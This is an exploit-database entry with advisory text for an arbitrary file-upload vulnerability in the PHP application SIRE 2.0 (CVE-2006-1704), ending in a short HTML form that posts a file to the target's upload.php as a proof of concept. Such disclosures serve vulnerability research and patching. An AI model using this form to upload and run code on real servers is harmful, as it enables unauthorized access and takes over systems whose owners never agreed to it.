SIRE 2.0 - Arbitrary File Upload

Author: simo64
type: webapps
platform: php
port: 
date_added: 2006-04-10 
date_updated: 2013-08-15 
verified: 1 
codes: CVE-2006-1704;OSVDB-24801 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/17431/info

SIRE is prone to an arbitrary file-upload vulnerability.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

<form enctype="multipart/form-data" method="post" action="http://Trajet/upload.php?"> Download File<br>

<input name="fichier" type="file" size="48"><br>
<input type="submit" name="upload" value="uploader"><form>